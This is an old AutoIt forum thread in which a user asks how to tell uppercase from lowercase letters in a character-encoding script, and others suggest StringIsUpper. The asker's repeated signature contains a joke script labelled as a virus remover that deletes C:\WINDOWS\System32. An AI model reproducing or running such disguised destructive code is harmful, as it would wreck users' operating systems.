Firefoxy Posted January 4, 2008 Share Posted January 4, 2008 (edited) This is the code I have. Is there any way for this to recognize if a letter is capital or not? Because if I type HEY it returns the same as Hey. $moo = InputBox("", "Please type 'Hey' or 'HEY'.") Dim $KeysAndCodes[5][2] = [[ "H", "00001" ], ["Y", "00101" ], ["E", "11101" ], ["e", "11111"], ["y", "00000"]] Global $text $code = $moo For $1 = 1 To StringLen($code) Step + 1 $5nrs = StringMid($code, $1, 1) $text &= _HLEncrypt($5nrs) Next MsgBox(0, "Results...", "'" & $moo & "'" & " Translates into: " & $text) Func _HLEncrypt($numbers) For $1 = 0 To UBound($KeysAndCodes, 1) - 1 If $numbers = $KeysAndCodes[$1][0] Then Return $KeysAndCodes[$1][1] Next EndFunc Edited January 4, 2008 by Firefoxy ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
The Ape Posted January 4, 2008 Share Posted January 4, 2008 StringIsUpper -------------------------------------------------------------------------------- Checks if a string contains only uppercase characters. FixJaw.comTriad-Art.com Link to comment Share on other sites More sharing options...
Firefoxy Posted January 4, 2008 Author Share Posted January 4, 2008 StringIsUpper --------------------------------------------------------------------------------Checks if a string contains only uppercase characters.Well does this check to see if all of them are upper or just to check if any are upper-case. Because this is just a test I'm doing. When I'm done it will contain the whole upper and lower case alphabet, numbers, symbols, etc.. So will this be able to check a 750 character file? Because it will contain both upper and lower case. ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
The Ape Posted January 5, 2008 Share Posted January 5, 2008 Note that digits/punctuation/whitespace will cause StringIsUpper to return 0.So will this be able to check a 750 character file? Because it will contain both upper and lower case.Then just create an array and evaluate each character (each element) ... still using StringIsUpper. FixJaw.comTriad-Art.com Link to comment Share on other sites More sharing options...
Firefoxy Posted January 5, 2008 Author Share Posted January 5, 2008 I had that idea, just wondering if there was any other way to do it. Thanks though! ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
The Ape Posted January 5, 2008 Share Posted January 5, 2008 I had that idea, just wondering if there was any other way to do it. Thanks though!Well... if that was an idea you had... then why didn't you say that in your first post? Instead, you sounded completely clueless... when, in fact, you "had that idea?"Sounds like you can figure it out for yourself. FixJaw.comTriad-Art.com Link to comment Share on other sites More sharing options...
DirtDBaK Posted January 5, 2008 Share Posted January 5, 2008 what does this have to do with 'Graphical User Interface (GUI) Help and Support'? Should be in general help and support [center][/center] Link to comment Share on other sites More sharing options...
Firefoxy Posted January 5, 2008 Author Share Posted January 5, 2008 Well, I'm making a GUI with this in it...but I do suppose it does go into General Help. Oops. ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
DirtDBaK Posted January 5, 2008 Share Posted January 5, 2008 ohh well you and I can't move it but mod's normally get upset about things like this [center][/center] Link to comment Share on other sites More sharing options...
JustinReno Posted January 5, 2008 Share Posted January 5, 2008 ohh well you and I can't move it but mod's normally get upset about things like thisNot really. Link to comment Share on other sites More sharing options...
DirtDBaK Posted January 5, 2008 Share Posted January 5, 2008 Well not all.. (most are cool) not really going to point out names... [center][/center] Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now